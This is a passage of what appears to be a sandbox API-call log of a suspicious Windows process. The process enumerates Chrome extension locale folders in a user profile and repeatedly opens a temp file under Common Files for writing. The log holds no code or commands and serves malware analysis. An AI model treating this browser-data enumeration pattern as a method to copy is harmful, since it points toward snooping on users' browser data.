dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.433] AreFileApisANSI () returned 1 [0132.433] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.433] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.433] GetFileType (hFile=0x19c) returned 0x1 [0132.434] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\sv\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x22000, nFileSizeHigh=0x0, nFileSizeLow=0x21df2, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.434] AreFileApisANSI () returned 1 [0132.434] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.434] GetFileType (hFile=0x19c) returned 0x1 [0132.434] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\th\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x22000, nFileSizeHigh=0x0, nFileSizeLow=0x21ef4, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.434] AreFileApisANSI () returned 1 [0132.434] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.434] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.434] GetFileType (hFile=0x19c) returned 0x1 [0132.434] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\tr\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x22000, nFileSizeHigh=0x0, nFileSizeLow=0x21ff6, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.434] AreFileApisANSI () returned 1 [0132.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.435] GetFileType (hFile=0x19c) returned 0x1 [0132.435] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\uk\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x23000, nFileSizeHigh=0x0, nFileSizeLow=0x220f8, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.435] AreFileApisANSI () returned 1 [0132.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.435] GetFileType (hFile=0x19c) returned 0x1 [0132.435] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\vi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x23000, nFileSizeHigh=0x0, nFileSizeLow=0x221fa, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.435] AreFileApisANSI () returned 1 [0132.435] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.435] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.435] GetFileType (hFile=0x19c) returned 0x1 [0132.435] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_CN\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x23000, nFileSizeHigh=0x0, nFileSizeLow=0x222fc, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.436] AreFileApisANSI () returned 1 [0132.436] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.436] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.436] GetFileType (hFile=0x19c) returned 0x1 [0132.436] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_locales\\zh_TW\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x23000, nFileSizeHigh=0x0, nFileSizeLow=0x22401, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.436] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0132.437] GetLastError () returned 0x12 [0132.437] AreFileApisANSI () returned 1 [0132.437] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.437] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0132.437] GetFileType (hFile=0x198) returned 0x1 [0132.437] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aapocclcgogkmnckokdopfmhonfmgoek\\0.9_0\\_metadata\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85b998f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85d166b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0132.484] FindClose (in: hFindFile=0x7d18b0 | out: hFindFile=0x7d18b0) returned 1 [0132.485] GetLastError () returned 0x12 [0132.485] FindClose (in: hFindFile=0x7d1870 | out: hFindFile=0x7d1870) returned 1 [0132.485] GetLastError () returned 0x12 [0132.485] FindClose (in: hFindFile=0x7d1830 | out: hFindFile=0x7d1830) returned 1 [0132.485] GetLastError () returned 0x12 [0132.485] AreFileApisANSI () returned 1 [0132.485] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.485] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b0dc, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190 [0132.485] GetFileType (hFile=0x190) returned 0x1 [0132.485] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\*.*", lpFindFileData=0x18b110 | out: lpFindFileData=0x18b110*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80d1a580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x916d8210, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x916d8210, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x22d, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1830 [0132.486] AreFileApisANSI () returned 1 [0132.486] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.486] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18ad80, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x194 [0132.486] GetFileType (hFile=0x194) returned 0x1 [0132.486] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*", lpFindFileData=0x18adb4 | out: lpFindFileData=0x18adb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86833250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1870 [0132.589] AreFileApisANSI () returned 1 [0132.589] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.589] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18aa24, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0132.590] GetFileType (hFile=0x198) returned 0x1 [0132.590] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*", lpFindFileData=0x18aa58 | out: lpFindFileData=0x18aa58*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x864c72b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86702750, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86702750, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d18b0 [0132.752] AreFileApisANSI () returned 1 [0132.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.752] GetFileType (hFile=0x19c) returned 0x1 [0132.752] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x23000, nFileSizeHigh=0x0, nFileSizeLow=0x228eb, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.752] AreFileApisANSI () returned 1 [0132.752] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.752] GetFileType (hFile=0x19c) returned 0x1 [0132.753] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x23000, nFileSizeHigh=0x0, nFileSizeLow=0x229ed, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.753] AreFileApisANSI () returned 1 [0132.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.753] GetFileType (hFile=0x19c) returned 0x1 [0132.753] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x23000, nFileSizeHigh=0x0, nFileSizeLow=0x22aef, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.753] AreFileApisANSI () returned 1 [0132.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.753] GetFileType (hFile=0x19c) returned 0x1 [0132.753] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x23000, nFileSizeHigh=0x0, nFileSizeLow=0x22bf1, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.753] AreFileApisANSI () returned 1 [0132.753] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.754] GetFileType (hFile=0x19c) returned 0x1 [0132.754] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\da\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x23000, nFileSizeHigh=0x0, nFileSizeLow=0x22cf3, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.754] AreFileApisANSI () returned 1 [0132.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.754] GetFileType (hFile=0x19c) returned 0x1 [0132.754] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\de\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x23000, nFileSizeHigh=0x0, nFileSizeLow=0x22df5, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x90\x80\x83")) returned 0xffffffff [0132.754] AreFileApisANSI () returned 1 [0132.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.754] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.754] GetFileType (hFile=0x19c) returned 0x1 [0132.754] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\el\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x23000, nFileSizeHigh=0x0, nFileSizeLow=0x22ef7, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.754] AreFileApisANSI () returned 1 [0132.754] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0132.755] GetFileType (hFile=0x19c) returned 0x1 [0132.755] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\en_GB\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x23000, nFileSizeHigh=0x0, nFileSizeLow=0x22ff9, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0132.755] AreFileApisANSI () returned 1 [0132.755] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0132.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, 